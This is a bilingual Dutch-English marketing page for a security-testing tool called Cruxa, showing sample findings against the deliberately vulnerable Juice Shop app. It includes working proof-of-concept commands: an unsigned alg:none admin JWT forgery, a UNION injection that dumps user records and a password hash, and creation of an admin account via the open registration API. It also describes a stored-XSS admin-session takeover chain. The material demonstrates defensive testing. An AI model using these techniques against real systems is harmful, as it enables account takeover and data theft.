Een opzettelijk kwetsbare app — en dat is precies het punt

A deliberately vulnerable app — and that is exactly the point

Redeneren, geen patroon-matchen

Reasoning, not pattern-matching

Veel traditionele DAST-tools richten zich op het detecteren van lósse kwetsbaarheden: payload, response, signature-match. Cruxa gaat een stap verder — het bouwt een hypothese, valideert die met bewijs, itereert op het resultaat, en combineert bevindingen tot reproduceerbare aanvalsketens.

Many traditional DAST tools focus on detecting individual vulnerabilities: payload, response, signature match. Cruxa goes a step further — it builds a hypothesis, validates it with evidence, iterates on the result, and combines findings into reproducible attack chains.

De kracht zit evenzeer in wat er níét in staat

The strength lies as much in what is left out

Uit 166 ruwe findings liet onze eigen geautomatiseerde bewijs-poort er slechts 9 direct door — amper 5%. 120 werden geblokkeerd wegens onvoldoende hard bewijs (een HTTP-status zonder aangetoond neveneffect, hypothetische framing, of dubbele detectie), en 37 gemarkeerd voor handmatige verificatie. Van die 37 hielden er na onafhankelijke reproductie 4 stand — samen met de 9 automatisch bevestigde vormen zij de 13 bevindingen in dit rapport. Precies het onderscheid tussen "een scanner riep iets" en "onafhankelijk gereproduceerd".

From 166 raw findings, our own automated evidence gate cleared just 9 outright — barely 5%. 120 were blocked for insufficient hard evidence (an HTTP status without a demonstrated side-effect, hypothetical framing, or duplicate detection), and 37 flagged for manual verification. Of those 37, four held up after independent reproduction — together with the 9 auto-confirmed, they form the 13 findings in this report. Exactly the difference between "a scanner claimed something" and "independently reproduced".

Elke bevinding is reproduceerbaar

Every finding is reproducible

Geen theorie. Hieronder drie kritieke bevindingen met de exacte PoC — allemaal ongeauthenticeerd, allemaal live gereproduceerd tegen het geteste oppervlak.

No theory. Below are three critical findings with the exact PoC — all unauthenticated, all reproduced live against the tested surface.

# Vervals een admin-JWT met alg:none (geen sleutel nodig)# Forge an admin JWT with alg:none (no key needed)
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"data":{"id":1,"email":"[email protected]","role":"admin"}}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."

curl -s -H "Authorization: Bearer $FORGED" http://juice-shop.localhost/api/Users | jq '.data | length'
# → 34   (volledige gebruikerslijst geretourneerd op een ONgesigneerd token)# → 34   (full user list returned on an UNsigned token)

# Ongeauthenticeerde UNION-injectie op het zoek-endpoint# Unauthenticated UNION injection on the search endpoint
curl -s "http://juice-shop.localhost/rest/products/search?q=<UNION-payload>"
# → response.data bevat 34 gebruikersrecords:# → response.data contains 34 user records:
#   id=1  [email protected]  password=0192023a7bbd73250516f069df18b500
#   id=4  [email protected]  ...

curl -si -X POST http://juice-shop.localhost/api/Users \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"Attack3r!","role":"admin"}'
# → HTTP/1.1 201 Created
# → {"data":{"id":36,"email":"[email protected]","role":"admin", ...}}

Keten: gewone klant → stille admin-sessie-overname

Chain: ordinary customer → silent admin-session takeover

Dit is waar Cruxa zich onderscheidt van een scanner: het combineert losse bevindingen tot een compleet aanvalsscenario dat individuele checks nooit zien. De opgeslagen XSS-payload is bevestigd aanwezig en via de autorisatie-fout voor elke klant uitleesbaar; zodra een beheerder het paneel opent, vuurt die in diens browser en valt de admin-sessie — terwijl de aanvaller nooit zelf admin-rechten had.

This is where Cruxa distinguishes itself from a scanner: it combines separate findings into a complete attack scenario that individual checks never see. The stored XSS payload is confirmed present and readable by any customer through the authorization flaw; the moment an admin opens the panel, it fires in their browser and the admin session falls — while the attacker never held admin rights.

Twee andere ketens tonen drie onafhankelijke paden naar volledige admin-overname zónder inloggegevens, en cross-account order-sabotage. Het feit dat het dichten van één pad de andere niet raakt is zélf een bevinding.

Two other chains show three independent paths to full admin takeover without credentials, plus cross-account order sabotage. The fact that closing one path does not affect the others is itself a finding.

Dit is letterlijk wat je krijgt

This is literally what you get

Alle 13 bevindingen, 3 aanvalsketens, per bevinding een werkende PoC en een concrete code-fix in de taal van de applicatie — plus compliance-mapping (OWASP Top 10, CWE, AVG, PCI-DSS).

All 13 findings, 3 attack chains, a working PoC per finding and a concrete code fix in the application's language — plus compliance mapping (OWASP Top 10, CWE, GDPR, PCI-DSS).